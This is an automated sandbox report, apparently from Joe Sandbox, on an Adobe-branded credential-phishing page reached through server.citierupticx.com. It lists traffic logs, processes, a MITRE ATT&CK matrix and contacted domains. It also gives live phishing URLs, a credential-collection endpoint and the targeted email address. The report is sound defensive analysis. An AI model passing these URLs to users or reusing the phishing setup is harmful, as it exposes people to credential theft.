Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49784 version: TLS 1.2

Source: classification engine

Classification label: mal72.phis.win@17/29@32/13

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1964 --field-trial-handle=1904,i,8113989753141242237,6083678376581575496,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://server.citierupticx.com/specId/product-mje@ml.avio.co.jp"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1964 --field-trial-handle=1904,i,8113989753141242237,6083678376581575496,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://server.citierupticx.com/specId/product-mjeml.avio.co.jp	0%	Avira URL Cloud	safe
http://server.citierupticx.com/specId/product-mjeml.avio.co.jp	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label
https://icarus.eandjheatingandairs.com/api/authentication	0%	Avira URL Cloud	safe
https://server.citierupticx.com/specId/product-mje%EF%BC%A0ml.avio.co.jp	0%	Avira URL Cloud	safe
https://ft0.blockchainmemspool.site/pdfbannerred.png	0%	Avira URL Cloud	safe
https://ft0.blockchainmemspool.site/beegee.jpg	0%	Avira URL Cloud	safe
http://server.citierupticx.com/specId/product-mje%EF%BC%A0ml.avio.co.jp	0%	Avira URL Cloud	safe
https://ft0.blockchainmemspool.site/assets/index-DMPAUMCk.js	0%	Avira URL Cloud	safe
https://ft0.blockchainmemspool.site/favicon.ico	0%	Avira URL Cloud	safe
https://ft0.blockchainmemspool.site/norton.png	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
d26p066pn2w0s0.cloudfront.net	13.227.8.47	true	false	high
use1-turn.fpjs.io	3.7.212.116	true	false	high
ft0.blockchainmemspool.site	91.208.197.216	true	true	unknown
ipinfo.io	34.117.59.81	true	false	high
api.fpjs.io	76.223.60.10	true	false	high
www.google.com	142.250.181.68	true	false	high
server.citierupticx.com	185.212.70.145	true	false	high
fpnpmcdn.net	13.227.8.44	true	false	high
icarus.eandjheatingandairs.com	185.212.70.145	true	false	unknown
logo.clearbit.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://server.citierupticx.com/specId/product-mje%EF%BC%A0ml.avio.co.jp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/json?token=51dda6bce069cf	false		high
https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	true		unknown
https://api.fpjs.io/xridvya/qAo6p?q=PpV6WKGGlibbhVc8aHxy	false		high
https://ft0.blockchainmemspool.site/pdfbannerred.png	false	Avira URL Cloud: safe	unknown
https://fpnpmcdn.net/v3/PpV6WKGGlibbhVc8aHxy/loader_v3.11.1.js	false		high
https://api.fpjs.io/?ci=js/3.11.3&q=PpV6WKGGlibbhVc8aHxy&ii=fingerprintjs-pro-react/2.6.3/react/18.3.1&ii=fingerprintjs-pro-spa/1.3.2	false		high
https://ft0.blockchainmemspool.site/beegee.jpg	false	Avira URL Cloud: safe	unknown
https://icarus.eandjheatingandairs.com/api/authentication	false	Avira URL Cloud: safe	unknown
https://server.citierupticx.com/specId/product-mje%EF%BC%A0ml.avio.co.jp	false	Avira URL Cloud: safe	unknown
https://ft0.blockchainmemspool.site/assets/index-DMPAUMCk.js	true	Avira URL Cloud: safe	unknown
https://ft0.blockchainmemspool.site/favicon.ico	false	Avira URL Cloud: safe	unknown
https://ft0.blockchainmemspool.site/norton.png	false	Avira URL Cloud: safe	unknown
https://logo.clearbit.com/product-mje%EF%BC%A0ml.avio.co.jp	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://fingerprint.com)	chromecache_58.2.dr, chromecache_65.2.dr	false		high
https://google.com/	chromecache_52.2.dr, chromecache_57.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.212.70.145	server.citierupticx.com	Germany	46261	QUICKPACKETUS	false
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
13.227.8.63	unknown	United States	16509	AMAZON-02US	false
76.223.60.10	api.fpjs.io	United States	16509	AMAZON-02US	false
13.248.176.92	unknown	United States	16509	AMAZON-02US	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
13.227.8.44	fpnpmcdn.net	United States	16509	AMAZON-02US	false
91.208.197.216	ft0.blockchainmemspool.site	unknown	200019	ALEXHOSTMD	true
3.7.212.116	use1-turn.fpjs.io	United States	16509	AMAZON-02US	false
13.227.8.47	d26p066pn2w0s0.cloudfront.net	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.4
192.168.2.13

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1563545
Start date and time:	2024-11-27 04:05:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://server.citierupticx.com/specId/product-mje%EF%BC%A0ml.avio.co.jp
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.win@17/29@32/13

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.17.46, 74.125.205.84, 34.104.35.123, 172.217.17.74, 172.217.19.202, 142.250.181.138, 172.217.19.10, 172.217.19.170, 172.217.19.234, 142.250.181.74, 142.250.181.106, 172.217.17.42, 216.58.208.234, 199.232.210.172, 192.229.221.95, 172.217.17.35
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Input	Output
URL: http://server.citierupticx.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: http://server.citierupticx.com
URL: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG1 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Secured Adobe File Verification", "prominent_button_name": "Login To Access File", "text_input_field_labels": [ "product-mje@ml.avio.co.jp", "********" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://ft0.blockchainmemspool.site Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": true, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://ft0.blockchainmemspool.site
URL: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG1 Model: Joe Sandbox AI	{ "brands": [ "Adobe" ] }
	{ "brands": [ "Adobe" ] }
URL: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG1 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Secured Adobe File Verification", "prominent_button_name": "Login To Access File", "text_input_field_labels": [ "product-mje@ml.avio.co.jp", "********" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG1 Model: Joe Sandbox AI	{ "brands": [ "Adobe" ] }
	{ "brands": [ "Adobe" ] }
URL: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG1 Model: Joe Sandbox AI	```json{ "legit_domain": "adobe.com", "classification": "wellknown", "reasons": [ "The brand 'Adobe' is well-known and typically associated with the domain 'adobe.com'.", "The URL 'ft0.blockchainmemspool.site' does not match the legitimate domain for Adobe.", "The domain 'blockchainmemspool.site' is unrelated to Adobe and appears suspicious.", "The use of a subdomain 'ft0' and an unusual domain name suggests a potential phishing attempt.", "The presence of an email input field with a non-Adobe domain further raises suspicion." ], "riskscore": 9} Google indexed: False
URL: ft0.blockchainmemspool.site Brands: Adobe Input Fields: product-mje@ml.avio.co.jp, ********
URL: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG1 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Secure Login?", "prominent_button_name": "unknown", "text_input_field_labels": [ "product-mje@ml.avio.co.jp", "********" ], "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG1 Model: Joe Sandbox AI	```json{ "legit_domain": "adobe.com", "classification": "wellknown", "reasons": [ "The brand 'Adobe' is well-known and typically associated with the domain 'adobe.com'.", "The URL 'ft0.blockchainmemspool.site' does not match the legitimate domain for Adobe.", "The domain 'blockchainmemspool.site' is unrelated to Adobe and appears suspicious.", "The use of a subdomain 'ft0' and the main domain 'blockchainmemspool.site' suggests a potential phishing attempt.", "The presence of an email input field with a non-Adobe domain 'ml.avio.co.jp' is unusual and raises suspicion." ], "riskscore": 9} Google indexed: False
URL: ft0.blockchainmemspool.site Brands: Adobe Input Fields: product-mje@ml.avio.co.jp, ********
URL: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG1 Model: Joe Sandbox AI	{ "brands": [ "Norton" ] }
	{ "brands": [ "Norton" ] }
